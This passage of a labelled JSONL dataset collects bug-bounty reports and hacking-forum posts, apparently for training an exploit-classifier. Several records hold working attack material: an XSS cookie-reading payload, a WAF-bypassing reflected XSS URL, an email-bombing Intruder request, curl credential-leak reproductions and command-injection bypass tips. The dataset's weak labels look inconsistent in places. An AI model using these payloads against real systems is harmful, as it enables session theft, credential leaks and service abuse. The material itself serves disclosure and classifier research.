/j/collect?v=1&_v=j97&aip=1&a=1720823427&t=event&ni=1&_s=9&dl=https%3A%2F%2Fwww.yelp.com%2Flogin%3Freturn_url%3Dhttps%3A%2F%2Fwww.yelp.com%2Fseeyousoon%3Ffsid%3DiY6PnT2UYrAnv0ASZEs3oQ&ul=en-us&de=UTF-8&dt=Log%20In%20-%20Yelp&sd=24-bit&sr=1920x940&vp=1910x753&je=0&ec=New%20Signup&ea=signup%20click&el=submit%20forgot%20password&_u=SICAAAABAAAAAC~&jid=215130607&gjid=774412709&cid=AF761EB18AB1E206&tid=UA-30501-24&_gid=232424112.1664351398&_r=1&z=1311429197 HTTP/2\nHost: www.google-analytics.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: text/plain\nContent-Length: 0\nOrigin: https://www.yelp.com\nReferer: https://www.yelp.com/\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: cross-site\nTe: trailers\nConnection: close\n\nStep 3- Now Send This Request To Intruder And Repeat It 100 Time By Fixing Any Arbitrary Payload Which Doesn't No Effect Request I Choose Accept-Language: en-US,en;q=0.$5$\n\nStep 4 - See You Will Get 200 ok Status Code & 100 + Email In Your INBOX\nSee It Is Resulting In Mass Mailing Or Email Bombing To Your Users Which Is Bad For Business Impact\n\n\nI Will Recommend You To Add A ReCaptcha & Sort Of Something Which Requires Manual Human Interaction To Proceed Like You Can Add Captcha Like 2+2=_ so that it cannot be brute forced and you also can have a limit at the backend for particular number upto 5 times a day user can request Forget Password Email or Link something like that will prevent you from someone exploiting this vulnerability\n\n## Impact\n\nIf You Are Using Any Email Service Software API Or Some Tool Which Costs You For Your Email This Type Of Attack Can Result You In Financial Lose And It Can Also Slow Down Your Services It Can Take Bulk Of Storage In Sent Mail Although If Users Are Affected By This Vulnerability They Can Stop Using Your Services Which Can Lead To Business Risk", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4143d5be2a15e66cfe66", "text": "[Cross-site Scripting (XSS) - Generic] XSS from Mastodon embeds\n\nBy default, the IRCCloud web client embeds Mastodon toots when a link to one is sent. Anyone can run a Mastodon server, and so the server from which toot data is fetched might be malicious. It is possible for an attacker to cause a web client user to execute arbitrary JavaScript in the context of the IRCCloud web client by tricking the web client into embedding a `javascript:` URL.\n\n**POC**:\n1. Ensure \"Embed social media links\" is enabled in settings under \"Chat & embeds\" (I think this is on by default)\n2. Send a message with a link to https://sm4.ca/@a/123456789012345678 (the link itself 404s but IRCCloud only tries to use Mastodon API so it doesn't matter)\n3. Wait a few seconds for the embed to load\n4. Look at your session cookie\n\nWhen the web client sees what looks like a toot URL, it tries to get canonical toot URL by making a query to `[domain]/api/v1/statuses/[toot ID]`. Here is what I serve at `https://sm4.ca/api/v1/statuses/123456789012345678`:\n\n```json\n{\n  \"account\": {\n    \"url\": \"https://sm4.ca/@a\"\n  },\n  \"url\": \"javascript:top.document.body.innerHTML = \\\"hi your cookie is \\\" + document.cookie;//\"\n}\n```\n\n(`.account.url` is only present because the web client ensures it matches the original link)\n\nThe web client creates an `iframe` using `.url` as the src, which in this case is a `javascript:` URL. The specified script runs in a seperate document that has access to its parent, and can access anything the parent can. The `//` is needed at the end since the web client appends `/embed` to the embed URL.\n\n(also apart from this particular issue, I don't think Mastodon embeds should be enabled unless \"Embed 3rd party image and video links\" is enabled since even when the Mastodon server isn't malicious your IP address is still leaked to an arbitrary server)\n\n## Impact\n\nAn attacker who can send a message to an web-client-using IRCCloud user can obtain their session token and act as them. By sending a message with a malicious URL to a large channel an attacker could compromise many users at once.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "092874f0bcdf69f7cf3a", "text": "Wow this was difficult. I finally got the flag. It was a lot more simple than I thought. I heard others get the flag with different methods but my method was relatively simple. 1.Find where to inject, intercept move request with burp. 2.Look for \" malicious request denied! message in response, that means you are injecting in the correct request . 3. Look for “ error ” in responses, they give valuable info about what is happening when you inject stuff. 4.It is possible to read the flag without uploading flag.txt to /tmp directory or anywhere else, you can read it straight from the Response message in burp repeater. 5.It is not necessary to use sub shells, encoding, reversing words or using case manipulation. 6.I personally injected after from=filename.txt HERE 7.The only techniques I used were “ bypassing blacklisted commands ” , “ bypassing blacklisted characters ” and “ bypassing space filters ”. I solved this challenge with information only from these three modules. 8.I looked and monitored error messages in responses which ultimately led to my success, I was failing because the injection parameter I was using worked only if the first command succeeded, I realized from response that the first command failed “Error while moving: mv: cannot stat 'var/www/html/files/2143214.txt : No such file or directory” and changed my injection parameter(from “Detection” lesson) and immediately was successful. Hope this helped. I spent 4 hours on this and did not stand up from the computer once Good luck!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d038c3d9bde57efaf95a", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS | https://████████\n\nSummary\n\nHi team, there's a reflected XSS on https://████ using the `plot` param. There's a WAF in place but it's possible to bypass it.\nSteps to reproduce\n\n1. Click https://██████████/fcgi-bin/getplot.py?plot=aaa%3Ch1%20onauxclick=confirm(document.domain)%3ERIGHT%20CLICK%20HERE\n2. Observe the popup showing document.domain when right clicking \"RIGHT CLICK HERE\"\n\n███\n\n## Impact\n\nThe attacker can trigger remote code execution on the victim’s browser, and steal credentials, sessions, and potentially send malware to the victim.\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Click https://████████/fcgi-bin/getplot.py?plot=aaa%3Ch1%20onauxclick=confirm(document.domain)%3ERIGHT%20CLICK%20HERE\n2. Observe the popup showing document.domain when right clicking \"RIGHT CLICK HERE\"\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "04e72a9b5463017fdda5", "text": "I am still having issues with this. I wonder if somebody can give me another clue", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f8cd3666fdca297651af", "text": "I tried to follow your directions, but I keep getting “Folder is empty” in the File Manager using Burp Suite Repeater Here is what I tried (Spoiler) I tried both move and copy, url encoded ‘<<<’ (%3C%3C%3C), used to=tmp and without tmp. I’m not sure what I’m doing wrong. Spoiler", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ae4e9b1ca95d310e4f32", "text": "[Insufficiently Protected Credentials] Credential leak on redirect\n\n## Summary:\n[add summary of the vulnerability]\n\nCurl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect , like the Proxy-Authorization 、x-auth-token header. It is a bypass of fix https://hackerone.com/reports/1547048 , CVE-2022-27776 .\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Create a 302.php file, such as:\n```\n<?php\nheader(\"Location: http://a.com:8000\");\n?>\n```\nAdd the 2 record in the /etc/hosts file:  \n```\n127.0.0.1 a.com\n127.0.0.1 b.com\n```\n  2. curl -H \"Proxy-Authorization: secrettoken\" http://b.com/302.php -vv -L \nThe redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:\n```\n# curl -H \"Proxy-Authorization: secrettoken\" http://b.com/302.php -vv -L\n*   Trying 127.0.0.1:80...\n* Connected to b.com (127.0.0.1) port 80 (#0)\n> GET /302.php HTTP/1.1\n> Host: b.com\n> User-Agent: curl/7.83.1\n> Accept: */*\n> Proxy-Authorization: secrettoken\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 302 Found\n< Date: Fri, 13 May 2022 11:22:06 GMT\n< Server: Apache/2.4.6 (CentOS) PHP/5.4.16\n< X-Powered-By: PHP/5.4.16\n< Location: http://a.com:8000\n< Content-Length: 0\n< Content-Type: text/html; charset=UTF-8\n<\n* Connection #0 to host b.com left intact\n* Clear auth, redirects to port from 80 to 8000\n* Issue another request to this URL: 'http://a.com:8000/'\n*   Trying 127.0.0.1:8000...\n* Connected to a.com (127.0.0.1) port 8000 (#1)\n> GET / HTTP/1.1\n> Host: a.com:8000\n> User-Agent: curl/7.83.1\n> Accept: */*\n> Proxy-Authorization: secrettoken\n>\n```\n  3.  curl -H \"x-auth-token: secrettoken\" http://b.com/302.php -vv -L \n```\n# curl -H \"x-auth-token: secrettoken\" http://b.com/302.php -vv -L\n*   Trying 127.0.0.1:80...\n* Connected to b.com (127.0.0.1) port 80 (#0)\n> GET /302.php HTTP/1.1\n> Host: b.com\n> User-Agent: curl/7.83.1\n> Accept: */*\n> x-auth-token: secrettoken\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 302 Found\n< Date: Fri, 13 May 2022 11:24:15 GMT\n< Server: Apache/2.4.6 (CentOS) PHP/5.4.16\n< X-Powered-By: PHP/5.4.16\n< Location: http://a.com:8000\n< Content-Length: 0\n< Content-Type: text/html; charset=UTF-8\n<\n* Connection #0 to host b.com left intact\n* Clear auth, redirects to port from 80 to 8000\n* Issue another request to this URL: 'http://a.com:8000/'\n*   Trying 127.0.0.1:8000...\n* Connected to a.com (127.0.0.1) port 8000 (#1)\n> GET / HTTP/1.1\n> Host: a.com:8000\n> User-Agent: curl/7.83.1\n> Accept: */*\n> x-auth-token: secrettoken\n```\n\nThe reason for the problem is that curl's filtering of authentication header header is incomplete. The Proxy-Authorization and x-auth-token headers are not considered, only restrict the delivery of Cookies and Authorization.\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\nhttps://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Proxy-Authorization\n\n## Impact\n\nLeak of Proxy-Authorization and x-auth-token headers.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-27776"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8996962da4d9f65088de", "text": "[Improper Access Control - Generic] Error in  Booking an appointment reveals the full path of the website\n\nI figured out that when there is configuration of smtp then the user can reveal the full path of the website when booking an appointment.\n\n## Steps To Reproduce:\n\n1. Go to calendar and create and appointment.\n2. Now visit that appointment with burp proxy on.\n3. Select time and try to book the appointment.\n4. Following request will be observed\n```\nPOST /index.php/apps/calendar/appointment/9/book HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nrequesttoken: <token>\nContent-Length: 138\nOrigin: http://129.146.173.97\nDNT: 1\nConnection: close\nCookie:<any valid-cookie>\n\n{\"start\":1674205200,\"end\":1674205500,\"displayName\":\"attackerbikram\",\"email\":\"ohp@gmail.com\",\"description\":\"\",\"timeZone\":\"UTC\"}\n```\n5. We will get following response\n```\nHTTP/1.1 500 Internal Server Error\nDate: Fri, 20 Jan 2023 03:25:36 GMT\nServer: Apache\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nPragma: no-cache\nCache-Control: no-cache, no-store, must-revalidate\nX-Request-Id: lETN8J5NgoiwfMPABX3g\nx-calendar-response: true\nContent-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'\nFeature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'\nX-Robots-Tag: none\nReferrer-Policy: no-referrer\nX-Content-Type-Options: nosniff\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nX-XSS-Protection: 1; mode=block\nContent-Length: 4472\nConnection: close\nContent-Type: application/json; charset=utf-8\n\n{\"status\":\"error\",\"message\":\"Could not send mail: Connection could not be established with host 127.0.0.1 :stream_socket_client(): Unable to connect to 127.0.0.1:25 (Connection refused)\",\"data\":{\"type\":\"OCA\\\\Calendar\\\\Exception\\\\ServiceException\",\"message\":\"Could not send mail: Connection could not be established with host 127.0.0.1 :stream_socket_client(): Unable to connect to 127.0.0.1:25 (Connection refused)\",\"code\":0,\"trace\":[{\"file\":\"\\/var\\/snap\\/nextcloud\\/33060\\/nextcloud\\/extra-apps\\/calendar\\/lib\\/Service\\/Appointments\\/BookingService.php\",\"line\":159,\"function\":\"sendConfirmationEmail\",\"class\":\"OCA\\\\Calendar\\\\Service\\\\Appointments\\\\MailService\"},{\"file\":\"\\/var\\/snap\\/nextcloud\\/33060\\/nextcloud\\/extra-apps\\/calendar\\/lib\\/Controller\\/BookingController.php\",\"line\":185,\"function\":\"book\",\"class\":\"OCA\\\\Calendar\\\\Service\\\\Appointments\\\\BookingService\"},{\"file\":\"\\/snap\\/nextcloud\\/33060\\/htdocs\\/lib\\/private\\/AppFramework\\/Http\\/Dispatcher.php\",\"line\":225,\"function\":\"bookSlot\",\"class\":\"OCA\\\\Calendar\\\\Controller\\\\BookingController\"},{\"file\":\"\\/snap\\/nextcloud\\/33060\\/htdocs\\/lib\\/private\\/AppFramework\\/Http\\/Dispatcher.php\",\"line\":133,\"function\":\"executeController\",\"class\":\"OC\\\\AppFramework\\\\Http\\\\Dispatcher\"},{\"file\":\"\\/snap\\/nextcloud\\/33060\\/htdocs\\/lib\\/private\\/AppFramework\\/App.php\",\"line\":172,\"function\":\"dispatch\",\"class\":\"OC\\\\AppFramework\\\\Http\\\\Dispatcher\"},{\"file\":\"\\/snap\\/nextcloud\\/33060\\/htdocs\\/lib\\/private\\/Route\\/Router.php\",\"line\":298,\"function\":\"main\",\"class\":\"OC\\\\AppFramework\\\\App\"},{\"file\":\"\\/snap\\/nextcloud\\/33060\\/htdocs\\/lib\\/base.php\",\"line\":1047,\"function\":\"match\",\"class\":\"OC\\\\Route\\\\Router\"},{\"file\":\"\\/snap\\/nextcloud\\/33060\\/htdocs\\/index.php\",\"line\":36,\"function\":\"handleRequest\",\"class\":\"OC\"}],\"previous\":{\"type\":\"Swift_TransportException\",\"message\":\"Connection could not be established with host 127.0.0.1 :stream_socket_client(): Unable to connect to 127.0.0.1:25 (Connection refused)\",\"code\":0,\"trace\":[{\"function\":\"{closure}\",\"class\":\"Swift_Transport_StreamBuffer\"},{\"file\":\"\\/snap\\/nextcloud\\/33060\\/htdocs\\/3rdparty\\/swiftmailer\\/swiftmailer\\/lib\\/classes\\/Swift\\/Transport\\/StreamBuffer.php\",\"line\":264,\"function\":\"stream_socket_client\"},{\"file\":\"\\/snap\\/nextcloud\\/33060\\/htdocs\\/3rdparty\\/swiftmailer\\/swiftmailer\\/lib\\/classes\\/Swift\\/Transport\\/Str", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b629986474cb294499d0", "text": "Making WIFI Hacking Great again, stimulating the WIFI-Hacking Community 2022\n\nI have enjoyed the concept of Wifi Hacking but it seems we have hit a wall. I’m gonna be honest and and say, methods and tutorials for WPS Pixie Attacks, Airgeddon, Wifite, Aircrack, Dictionary attacks through hashing even has become pretty over saturated over time and has led to little to no success. Due to this issue below I will put my thoughts on the current attacks/methods I more or less understand with an additional comment to think about to make better posts for the future so it does not become clutter over time and then something on Frag Attacks in regards to Wifi-Hacking which has caught my eye. PS: The comments are aimed toward obtaining Wifi Passwords. I understand pretty much all the tools mentioned do their job and do it well. Its about the “Passwords” part of Wifi-Hacking that seems a bit empty and stagnate lately, In My Opinion. Dictionary attacks - Takes too long even if hashed. What kind of recon would one have to do to help a dictionary attack be better prepared to Bruteforce. WPS attacks - Besides bashing on the fact that with every 6-12 months WPS attack success feels like it will hit 0% eventually excluding demo tests, You can have a Network say WPS enabled but if it’s not configured how would you know? How do you properly fine tune your wps pin attacks so you don’t get timed out as much or worse locked out or strategies around it. (While technically this information is out they don’t make it easy to understand and it’s the same as nothing.) Not mentioning fixing glitches or maybe legit reasons why common wps cracking scripts are always stuck on 1 pin testing it over and over. Evil Twin Attack - Cool and all until you realize that the “victim” has to go through a login page and convince them which even them which is literally only for clues… it’s especially difficult that even if they log a possible password or… a kind of credentials not having internet makes it suspicious but there’s a way around that. ARP Poisoning Relay attack - Nearly the same results as the Evil Twin attack but, This is easily detectable on certain networks and you could get flagged/blocked. Man In The Middle Attack ^ Krack Attack - nearly the same thing… ARP related, but Relaying a network without the SSL Strip in URL. -This is not really for Wifi passwords though Mac changer - Usually used only for Wifi with Login pages, Paid wifi… and things of that nature but slap in some regular WEP/WPA/WPA2/WPA3 password and Poof method is terrible. -Although… there is some theoretical usage of Authentication with this on regular WIFI networks but I have not seen any solid documentation yet. Now for something I would like to see on user posted experiments and tutorial steps for achieved results and how to stay anonymous also while performing such attacks as always with every attack (Usually people do not make their tutorials intertwined with those critical steps for the real world.) Frag Attacks: What Are Wi-Fi Frag Attacks and How Can You Protect Against Them? Short for “fragmentation” and “aggregation”, Frag attacks allow hackers to bypass firewalls to inject code into Wi-Fi traffic. A new set of vulnerabilities known as Frag attacks have been discovered in Wi-Fi-enabled devices. A website that rather you clicking on my link I rather just search the necessary keywords on your favorite web browser to get to the same place to reduce risk in general for you as a user. https://www.fragattacks.com/ This website has a ton of documentation of this kind of attack and recently I got an understanding on the attack. Even though this is a great source and Youtube has 2-3 videos on this attack by the same person, It’s more of a demo where not everything is explained in the best way possible. Simply because it’s a demo, not a tutorial. This is their github: GitHub - vanhoefm/fragattacks -same warning in regards to the link above… I attempted to “install” everything I needed but it may be the high level vocabulary of Linux related devices and interfaces and directories and… d", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-06-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ac75a391ff950fcedd9a", "text": "[Cleartext Transmission of Sensitive Information] CVE-2022-42916: HSTS bypass via IDN\n\nOriginal Report:https://hackerone.com/reports/1730660\n\n## Impact\n\nHSTS bypass.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-42916"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ee50fa690073b2181f79", "text": "[Cross-site Scripting (XSS) - Generic] XSS on internal: privileged origin through reader mode\n\n## Summary:\n\nBrave iOS has two weaknesses described below. By combining them, XSS can be achieved on the privileged origin `internal://local`.\n\n1. Exposure of uuidKey through REFERER header\nReader mode in Brave has two HTML templates, [Reader.html](https://github.com/brave/brave-ios/blob/development/Client/Frontend/Reader/Reader.html) and [ReaderViewLoading.html](https://github.com/brave/brave-ios/blob/development/Client/Frontend/Reader/ReaderViewLoading.html). The former template defines [<meta name=\"referrer\" content=\"never\">](https://github.com/brave/brave-ios/blob/development/Client/Frontend/Reader/Reader.html#L10) header for preventing referrer leakage, but the latter template [does not](https://github.com/brave/brave-ios/blob/development/Client/Frontend/Reader/ReaderViewLoading.html#L8). Therefore, by opening an external page through `ReaderViewLoading.html`, the `uuidKey` contained in the Reader mode page URL is leaked.\n\n2. XSS in SessionRestoreHandler\nSessionRestoreHandler is used to restore a previously used tab, but [it does not validate an URL to be restored](https://github.com/brave/brave-ios/blob/83eb41ac922d7bd18fd311e0a4279e02cdd8e190/Client/Frontend/Browser/SessionRestoreHandler.swift#L34). Therefore, if a javascript: URL is provided, the code is executed on the `internal:` domain.\n\nNote that the first vulnerability is not reproduced on iOS 15 because WKWebView's referrer policy has been changed to hostname only. However, according to [Apple's report in June 2021](https://developer.apple.com/support/app-store/), more than 90% of users were using iOS 14.\n\n## Products affected: \n\n* Brave iOS 1.32.3 and higher (include the latest Nightly) on iOS 14.x and below\n\n## Steps To Reproduce:\n\n* Visit https://csrf.jp/brave/reader_uuid_leakage.php\n* Open the page in Reader mode\n* Long tap a hyperlink in the page and choose \"Open in New Private Tab\"\n* Wait for several seconds and tap \"Load original page\"\n* uuidKey in the reader mode URL is stolen through REFERER header\n* Click an exploit URL in the page, then XSS is triggered on `internal://local`\n\n## Supporting Material/References:\n\n* xss_on_internal_origin_through_reader_mode.mov: video of the attack against the vulnerabilities\n* reader_uuid_leakage.php: server-side exploit code\n\n## Impact\n\n* Attacker can elevate privileges to `internal:` origin", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "be8b9e81d2e4e52d3399", "text": "Same problem, the question asks only for the switch and the variable and it stays like this “dst host 10.10.20.1” or “dst 10.10.20.1” but with none", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dbf13ac2812e91d5c15e", "text": "[Cleartext Storage of Sensitive Information] Biometric key is stored in Windows Credential Manager, accessible to other local unprivileged processes\n\nBitwarden Desktop on Windows allows the user to enable vault unlock through Windows Hello (under File > Settings > Unlock with Windows Hello). When this is done, a \"Biometric master key\" is generated and stored locally inside the Windows' user credential set. This is done through the \"wincred\" API, in particular through the functions [CredWrite](https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credwritew) and [CredRead](https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credreadw) that are called from the native module written in Rust ([here: `apps/desktop/desktop_native/src/password/windows.rs`](https://github.com/bitwarden/clients/blob/desktop-v2023.1.1/apps/desktop/desktop_native/src/password/windows.rs)). The item created in the user credential set has a name of the form `Bitwarden_biometric/<account_uuid>_masterkey_biometric`.\n\nWhen unlocking the vault through Windows Hello, the unlock operation prompts the user for authentication through Windows Hello ([here: `apps/desktop/src/main/biometric/biometric.windows.main.ts` line 45](https://github.com/bitwarden/clients/blob/desktop-v2023.1.1/apps/desktop/src/main/biometric/biometric.windows.main.ts#L45)). If the authentication succeeds, the vault is unlocked and the items are decrypted after decrypting the master keys through the keys derived from the biometric master key.\n\nHowever, the authentication through Windows Hello is unneeded. Commenting the line linked above, the vault still unlocks with no problem. The biometric master key can in fact be retrieved with a simple call to the `CredRead` windows API function, and then used to decrypt the locally saved data present in `%appdata%\\Bitwarden\\data.json`. The Windows Hello authentication prompt therefore gives a false sense of security to the user, making it seem as if authentication is *needed* to decrypt vault data, when in reality it is not.\n\nThe local data in `%appdata%\\Bitwarden\\data.json`, as well as the master biometric key, persist after the vault is locked and the Bitwarden desktop allication is closed. Both of them are easily readable by any program running in the current user session, without the need to elevate privileges. Furthermore, both are accessible to any administrator account on the same machine.\n\nGiven the above, a potentially malicious program running locally on the machine can decrypt the entirety of the user vault, i.e. all ciphers (logins, cards, notes, identities). Furthermore, since the Desktop application stores locally (still in `%appdata%\\Bitwarden\\data.json`) a refresh token and a bearer token used for authentication with the Bitwarden server, user data can easily be modified, encrypted and updated on the server on behalf of the user.\n\nThe attached proof of concept (of which a recorded video demo is also attached) consists of a Python 3 script that uses the `ctypes` module to extract the biometric master key (if any) from the current user's credential set, decrypts all cipher names stored locally, and also modifies and updates the content of a secret note with a specific (if present), sending the new data to the server through standard bitwarden API.\n\nThe setup needed before running the proof of concept script is as follows:\n\n1. Create a test account on https://vault.bitwarden.com/#/register (or use an existing one at your own risk).\n2. Login to the test account and create some items in the vault for testing purposes. In particular, among them create a *secure note* with name `Super Secret Note` and arbitrary content.\n3. Download and install the latest Bitwarden Desktop client **for Windows** from https://bitwarden.com/download/ (make sure to install on a PC that supports Windows Hello biometric authentication in order to enable it).\n3. Use the installed desktop client to log in to the test account using the master password.\n5. Enable Windows Hello authentication through File > Settings > \"Unlock with", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "58f70e4474b7d8b3f31f", "text": "[Information Exposure Through an Error Message] Install.php File Exposure on Drupal\n\nIn the security assessment, it was discovered that the install.php file located at ██████/core/install.php is accessible and returns a 200 status code. Since the installation process is not possible, it is essential to address the vulnerability of the install.php file as soon as possible to prevent potential attacks and ensure the availability of the website. It is important to take measures to remove or secure the file to prevent it from being accessed by attackers and causing a denial of service attack. This is crucial to prevent the website from crashing and overwhelming the system, which can lead to serious problems for the website and its users.\n\nObs:\n* Use the drupwn tool, found at https://github.com/immunIT/drupwn\n* Run the command: python3 ./drupwn --mode enum --target ██████/\n* The tool will reveal the install.php script with a status of  **200 OK**.\n\n████\n\n## Summary\nThe install.php file, which is meant to be removed after the initial installation of Drupal, has been left in place and is accessible to attackers. This file can be used to reinstall the website, potentially leading to data loss or other issues. Additionally, it was observed that the website encountered an unexpected error of Drupal\\Component\\Plugin\\Exception\\PluginNotFoundException: Unable to determine class for field type 'comment' which can be used to escalate privilege and access sensitive information.\n\n## Proof Of Concept \nProof of Concept: A screenshot demonstrating the install.php file being accessible and the error is displayed\n█████████\n\n**My IP Report:**\n████ \n\n## References\n\n## Impact\n\nBy accessing the install.php file, an attacker could potentially reinstall the website, leading to data loss or other issues. Additionally, the error displayed may also be used to escalate privilege and access sensitive information.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\nDrupal 8 or  >\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Open a web browser and navigate to █████/core/install.php\n2. Observe that the install.php file is accessible and returns a 200 status code\n\n## Suggested Mitigation/Remediation Actions\nThe install.php file should be removed from the website to prevent unauthorized access and the error should be fixed to prevent privilege escalation. Additionally, it is recommended to review all the configurations and modules to verify if there are any misconfigurations or vulnerabilities.\n\nIt is important to note that an attacker could use this vulnerability to cause a significant amount of stress on the website by repeatedly accessing the install.php file, potentially causing the website to crash. This is why it's important to report this vulnerability and fix it as soon as possible.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5c538a4882e7a760f633", "text": "for to get flag 5 you can use LES (Linux Exploit Suggester). I know it’s a hint, so don’t hate me. Try every vulnerability that the script will offer you. github.com GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool Linux privilege escalation auditing tool", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8d584e2e18fd0ad021b5", "text": "The very last question regarding the “other user” in conjuction with RockYou-30. This question has been an issue for quite some people here…", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9e60e768674e11247ac7", "text": "[Information Disclosure] installed.json sensitive file was publicly accessible on your web application which discloses information about authors and admins\n\n##kindly if you don't accept this issue please close it as informative , thanks in advance \n\n##Description:\nThe installed.json file is a sensitive file and it was publicly accessible on your webserver , which discloses some information about your web site and users such as authors like admin as shown below:\n`\"authors\": [\n            {\n                \"name\": \"Modern Tribe\",\n                \"email\": \"admin@tri.be\"\n            }\n`\n\n##Steps to Produce:\n1. Go to https://blog.yelp.com/vendor/composer/installed.json\n\n##References :\nhttps://www.acunetix.com/vulnerabilities/web/composer-installed-json-publicly-accessible/\nhttps://hackerone.com/reports/461598\n\n##Remediation:\nRestrict Access to vendors directory\n\n## Impact\n\nDisclosure of information about components used by the web application.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2d8f06164d986ea6d4ed", "text": "[Cleartext Storage of Sensitive Information] Exposed GIT repo on ██████████[HtUS]\n\nGit metadata directory (.git) was found in this folder. An attacker can extract sensitive information by requesting the hidden metadata directory that version control tool Git creates. The metadata directories are used for development purposes to keep track of development changes to a set of source code before it is committed back to a central repository (and vice-versa). When code is rolled to a live server from a repository, it is supposed to be done as an export rather than as a local working copy, and hence this problem.\n\n███████\n\n```\nSome of Repository files/directories:\n├── private\n│   ├── Gruntfile.js\n│   ├── bootstrap.php\n│   ├── build.js\n│   ├── classes\n│   │   ├── Config.php\n│   │��  ├── Controller.php\n│   │   ├── Database.php\n│   │   ├── DatabaseResult.php\n│   │   ├── DatabaseResultRow.php\n│   │   ├── DebugLog.php\n│   │   ├── Dictionary.php\n│   │   ├── FileUploader.php\n│   │   ├── ImageUploader.php\n│   │   ├── Importer.php\n│   │   ├── Installer.php\n│   │   ├── ModelController.php\n│   │   ├── Modeler.php\n│   │   ├── Palm\n│   │   │   ├── Controller.php\n│   │   │   ├── ProblemFetcher.php\n│   │   │   └── Status.php\n│   │   ├── PalmBrowser.php\n│   │   ├── Perls\n│   │   │   ├── 